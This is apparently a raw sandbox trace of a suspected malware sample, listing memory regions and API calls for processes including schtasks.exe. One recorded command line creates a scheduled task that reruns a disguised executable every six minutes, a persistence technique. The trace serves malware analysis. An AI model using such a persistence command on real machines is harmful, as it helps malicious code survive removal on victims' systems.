region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6033 start_va = 0x1a920000 end_va = 0x1abeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6256 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6257 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6368 start_va = 0x860000 end_va = 0x8dcfff monitored = 0 entry_point = 0x86cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6369 start_va = 0x930000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 6370 start_va = 0x860000 end_va = 0x8dcfff monitored = 0 entry_point = 0x86cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6371 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6372 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6373 start_va = 0x1abf0000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 6374 start_va = 0x9b0000 end_va = 0xa8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 6375 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6376 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6377 start_va = 0x7fe90930000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90930000" filename = "" Region: id = 6416 start_va = 0x7fe909b0000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909b0000" filename = "" Region: id = 6417 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6445 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6446 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6447 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Thread: id = 218 os_tid = 0xd14 [0188.460] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 241 os_tid = 0xab0 Thread: id = 249 os_tid = 0xb58 [0189.327] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 258 os_tid = 0xc2c Process: id = "53" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fe1b000" os_pid = "0xd0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4059 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4060 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4061 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4062 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4063 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4064 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4065 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4066 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4067 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4068 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4069 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4070 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4071 start_va = 0x1c0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4072 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4073 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4074 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4075 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4076 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4077 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4078 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4079 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4080 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4081 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4082 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4083 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4084 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4085 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4086 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4087 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4088 start_va = 0x330000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4089 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4090 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4091 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 4092 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4093 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4094 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4095 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 4096 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 4097 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4098 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4099 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4100 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4101 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4102 start_va = 0x330000 end_va = 0x3acfff monitored = 0 entry_point = 0x33cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4103 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 4104 start_va = 0x330000 end_va = 0x3acfff monitored = 0 entry_point = 0x33cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4105 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4106 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4107 start_va = 0x1ec0000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 4108 start_va = 0x1ec0000 end_va = 0x1f9efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 4109 start_va = 0x2010000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 4110 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4111 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 4112 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4113 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4114 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4115 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4116 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4117 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4118 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4121 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 198 os_tid = 0xd08 [0156.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bfda0 | out: lpSystemTimeAsFileTime=0x1bfda0*(dwLowDateTime=0x29f46240, dwHighDateTime=0x1d8a92a)) [0156.958] GetCurrentProcessId () returned 0xd0c [0156.958] GetCurrentThreadId () returned 0xd08 [0156.958] GetTickCount () returned 0x138b7a1 [0156.959] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bfda8 | out: lpPerformanceCount=0x1bfda8*=2063582189684) returned 1 [0156.959] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0156.959] __set_app_type (_Type=0x1) [0156.959] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0156.959] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0156.980] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0156.980] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0156.980] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0156.980] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0156.980] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0156.980] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0156.981] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0156.981] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0156.981] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0156.981] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0156.981] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0156.981] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0156.981] WinSqmIsOptedIn () returned 0x0 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b9b0 [0156.982] SetLastError (dwErrCode=0x0) [0156.982] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0156.982] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0156.982] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0156.982] VerifyVersionInfoW (in: lpVersionInformation=0x1bf560, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf560) returned 1 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b9d0 [0156.982] lstrlenW (lpString="") returned 0 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x2) returned 0x24b9f0 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245950 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba10 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245980 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x2459b0 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x2459e0 [0156.982] GetProcessHeap () returned 0x230000 [0156.982] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a10 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba30 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a40 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a70 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245aa0 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245ad0 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba50 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b00 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b30 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b60 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b90 [0156.983] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0156.983] SetLastError (dwErrCode=0x0) [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245bc0 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245bf0 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245c20 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245c50 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245c80 [0156.983] GetProcessHeap () returned 0x230000 [0156.983] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba70 [0156.984] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.984] GetProcessHeap () returned 0x230000 [0156.984] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x208) returned 0x24bc10 [0156.984] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0156.984] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0156.985] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0156.985] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0156.986] GetProcessHeap () returned 0x230000 [0156.986] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x74e) returned 0x24c1c0 [0156.986] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0156.986] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x24c1c0 | out: lpData=0x24c1c0) returned 1 [0156.986] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0156.986] VerQueryValueW (in: pBlock=0x24c1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf648, puLen=0x1bf6b0 | out: lplpBuffer=0x1bf648*=0x24c55c, puLen=0x1bf6b0) returned 1 [0156.989] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.989] _vsnwprintf (in: _Buffer=0x24bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf628 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0156.989] VerQueryValueW (in: pBlock=0x24c1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf6b8, puLen=0x1bf6a8 | out: lplpBuffer=0x1bf6b8*=0x24c388, puLen=0x1bf6a8) returned 1 [0156.989] lstrlenW (lpString="schtasks.exe") returned 12 [0156.989] lstrlenW (lpString="schtasks.exe") returned 12 [0156.989] lstrlenW (lpString=".EXE") returned 4 [0156.989] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0156.990] lstrlenW (lpString="schtasks.exe") returned 12 [0156.990] lstrlenW (lpString=".EXE") returned 4 [0156.990] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.990] lstrlenW (lpString="schtasks") returned 8 [0156.990] GetProcessHeap () returned 0x230000 [0156.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245d70 [0156.990] GetProcessHeap () returned 0x230000 [0156.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cad0 [0156.990] GetProcessHeap () returned 0x230000 [0156.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb00 [0156.990] GetProcessHeap () returned 0x230000 [0156.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb30 [0156.990] GetProcessHeap () returned 0x230000 [0156.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba90 [0156.990] _memicmp (_Buf1=0x24ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.990] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa0) returned 0x24c010 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb60 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb90 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cbc0 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24bab0 [0156.991] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x200) returned 0x24d2a0 [0156.991] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0156.991] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0156.991] GetProcessHeap () returned 0x230000 